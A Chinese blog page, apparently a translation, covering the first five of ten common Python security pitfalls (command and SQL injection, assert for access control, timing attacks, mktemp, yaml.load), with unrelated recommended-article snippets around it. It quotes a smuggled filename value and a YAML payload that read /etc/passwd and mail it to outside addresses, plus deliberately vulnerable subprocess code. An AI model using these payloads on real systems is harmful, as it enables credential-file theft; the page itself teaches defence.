Python 中的 10 个常见安全漏洞,以及如何避免(上)

复变函数核心考点解析:从复数运算到留数定理 在科学计算与工程分析中,复变函数是连接数学理论与实际问题的桥梁。它以复数为自变量,将传统的一维函数映射拓展到二维平面,从而能更自然地描述波动、场与旋转等物理现象。理解复变函数的关键,在于掌握复数的模、辐角与指数表示,以及由此衍生的乘除、求方根等运算规则。在此基础上,解析函数与柯西-黎曼方程决定了可导性的本质,而复积分与留数定理则揭示了围道积分与奇点之间的深刻联系。这些概念广泛应用于信号处理、流体力学、电路分析和图像处理等领域,也是高年级数学课程与工程计算中的常用工具。本文梳理了从基础运算到留数定理的重要考点 阅读详情

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。

1. 输入注入(Input injection)

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。我读过很多代码,其中「escaping quotes」被认为是一种修复,但事实并非如此,可以通过这个链接查看 SQL 注入所有可能发生的复杂方式。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

修复:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

2. assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

现在,默认情况下,Python 以 debug 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin。

修复:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

3. 计时攻击(Timing attacks)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

4.临时文件(Temporary files)

要在 Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 「这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。」这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的 Python 会抛出运行警告。

修复:

如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。

5. 使用 yaml.load

引用 PyYAML 文档:

警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中找到的这个美丽的例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

修复:

总是使用 yaml.safe_load,除非你有一个非常好的理由。

原文:10 common security gotchas in Python and how to avoid them

STM32HAL库学习笔记九——LCD显示 本文不会对驱动编写做特别详细的描述,以记录CubeMX的部署流程为主。 阅读详情

相关推荐

雷达截面积建模仿真(RCS)

在目标侧,其形状、材料、尺寸(相对于雷达波长)和相对于雷达观察方向的方向等特征都会影响雷达看到的RCS。严格的数学处理超出了讨论的范围,但入射波和目标之间的相互作用可以定性描述。对于给定的散射方向,可以积分求和物体表面电流的振幅相位,当电流同相时,会出现较大的回波幅度。随着目标方向和雷达视角随时间变化,电流振幅和相位会发生变化,形成看似随机的峰值和零点的散射模式,出现“相长”和“相消”干涉。除了雷达到目标的距离外,雷达截面(RCS)是RRE(雷达距离方程)中唯一与目标相关的参数,因此不在雷达设计者的。

qq_30796447的博客 3138

关于Python连接数据库测试的那些事

写在最前面 大家好,我是sesame,一个普通的测试攻城狮,做过几年测试经理,最近一两年才开始学习、摸索自动化测试,所以如果有错误还请大家多多的批评指正。 为什么要做连接数据库的自动化测试 其实说起来就是因为最近换了工作(最近工作太太太太……难找了)。刚到新公司,信心满满,踌躇满志,希望把学到的自动化知识和管理经验带到新的工作中,但是,刚来就被分配里一个任务,那就是计算公司用户的返佣比例工作。由于...

hichcock_tian的博客 786

避坑指南:STM32定时器测PWM频率占空比时,那些CubeMX没告诉你的细节(蓝桥杯真题衍生)

本文深入解析STM32定时器测量PWM频率和占空比时的关键细节,揭示CubeMX配置中未明确的时钟树原理和输入捕获机制。针对蓝桥杯嵌入式赛题中的常见问题,提供动态调整预分频器、多采样数字滤波等实战解决方案,帮助开发者避免测量误差,提升PWM测量精度和稳定性。

weixin_28692153的博客 339

Python安全漏洞及防护总结

Python安全漏洞及防护总结

m0_49706119的博客 5005

当R语言遇见MaxENT:参数优化的艺术与自动化调参实践

本文探讨了R语言与MaxENT在生态位建模中的结合应用,重点介绍了参数优化与自动化调参的实践方法。通过caret与ENMeval工具链,研究人员可以高效处理多物种、多环境变量的大规模分析任务,提升模型性能与工作效率。文章还涵盖了从数据准备到结果可视化的全流程,为生态学家提供了实用的技术指导。

corn8的博客 455

matlab锅炉 pid仿真,基于Matlab锅炉仿真.doc

基于Matlab锅炉仿真内蒙古科技大学MATLAB课程设计任务书2012题 目:锅炉汽包水位控制系统学生姓名:林三彪学 号:0967112127专 业:测控技术与仪器班 级:2009-1指导教师:梁 丽摘 要锅炉是化工、炼油、发电、造纸和制糖等工业生产过程中必不可少的重要动力设备。锅炉往往成了不少工厂不可缺少的一部分,因而,对锅炉设备中的自动控制系统进行分析研究是必要的...

weixin_29133981的博客 1096

Python定时任务:sched

sched可用于定时任务,唯一需要注意的就是,这些任务在一个线程中运行,如果前面的任务耗时过长,则后面的任务将顺延执行。 但其使用方法还是很简单的,主要封装了一个类scheduler import sched import time def printName(name): print(name,"@",time.time()) s = sched.scheduler() s.enter(5,1,printName,("5 - 1",)) s.enter(5,2,printName,("5 -

微小冷的学习笔记 5561

模糊控制 (Fuzzy Control) 算法详解及案例分析

模糊控制是一种基于模糊逻辑的控制策略,其核心思想是通过模糊规则和模糊推理实现对复杂系统的控制。模糊控制不依赖于精确的数学模型,而是通过模拟人类的决策过程来处理不确定性和非线性问题。

闲人编程的博客 3657

python中定时任务sched库用法详解

python中定时任务sched库用法详解

IT之一小佬的博客 3914

使用 MATLAB/Simulink 构建一个基于FOC控制的PMSM矢量控制仿真模型

本教程详细介绍了基于MATLAB/Simulink的永磁同步电机(PMSM)磁场定向控制(FOC)系统建模与仿真方法。主要内容包括:PMSM电机模型参数设置、Clarke/Park变换模块设计、电流环PID控制器配置、SVPWM调制实现以及系统仿真参数优化。文章提供了模块化设计思路和具体参数设置示例,并给出了PID整定建议和进阶优化方向。通过该仿真模型,可深入理解PMSM矢量控制原理,掌握高性能电机控制系统的建模技巧,适用于伺服系统、电动汽车驱动等高端控制场景。教程还推荐了实时仿真和高级控制策略等扩展应用。

xiaoheshang_123的博客 528

20、啁啾脉冲光纤放大器:原理、设计与仿真

本文详细介绍了啁啾脉冲光纤放大器(FCPA)的原理、设计与仿真过程。内容涵盖CPA技术的基本原理、光纤基CPA系统的组成、Tm掺杂光纤放大器的工作机制、全光纤脉冲展宽器的设计以及仿真分析。通过MATLAB仿真展示了脉冲在光纤中的展宽与放大过程,并讨论了如何优化系统以减少非线性失真、控制峰值功率并提高整体性能。文章还总结了系统优化的关键策略,并展望了未来的发展方向。

v4w5x6的博客 318

Python 中的 10 个常见安全漏洞,以及如何避免

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。 1. 输入注入(Input injection) 注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。 SQL 注入...

子曰小玖的博客 1590

大疆司空 2 私有化部署:FH2、Terra、4G 三大服务区别详解

摘要: 司空2私有版包含三大模块:FH2(核心平台,必选)、Terra(建模算力,需NVIDIA显卡)、4G(内网图传)。FH2是基础,支持设备管理与任务调度;Terra适用于测绘建模场景,依赖GPU算力;4G模块保障复杂环境下的图传稳定性,适合纯内网部署。选择逻辑:先部署FH2,再按需添加Terra(需显卡)或4G(需内网支持),避免资源浪费。

2501_93651177的博客 579

Python 中的 10 个常见安全漏洞,以及如何避免(下)

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。 接上篇 6. 解析 XML(Parsing XML) 如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。...

极光推送的专栏 444

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

python框架漏洞_Python 中的 10 个常见安全漏洞,以及如何避免(下)

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。6. 解析 XML(Parsing XML)如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 ...

weixin_39886251的博客 352

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

python2 input漏洞_Python 中的 10 个常见安全漏洞,以及如何避免

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。1. 输入注入(Input injection)注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。SQL 注入是直接编写 SQ...

weixin_39827589的博客 547

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

python中常见的漏洞_Python 中的 10 个常见安全漏洞,以及如何避免(上)

编写安全代码简短评论:是很困难的。当你学习一门编程语言,模块或框架,您将学习如何使用它。当考虑到安全,您需要考虑如何避免滥用。Python也不例外。即使在标准库,有不好的实践编写应用程序。然而,许多Python开发人员不知道他们。1. 输入注射注射(输入)注入攻击是非常广泛和普遍。有许多类型的注射,他们影响所有语言,框架和环境。命令注入可能发生当使用popen、子流程调用过程和参数的变量。当调用本...

weixin_39521520的博客 502

python怎么执行代码漏洞_Python 中的 10 个常见安全漏洞,以及如何避免(下)

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。接上篇解析 XML(Parsing XML)如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 ...

weixin_39942191的博客 210
上一篇: 如何利用极光推送的新功能玩转世界杯营销
下一篇: Python 中的 10 个常见安全漏洞,以及如何避免(下)
极光推送
博客等级 码龄14年 109粉丝 108原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值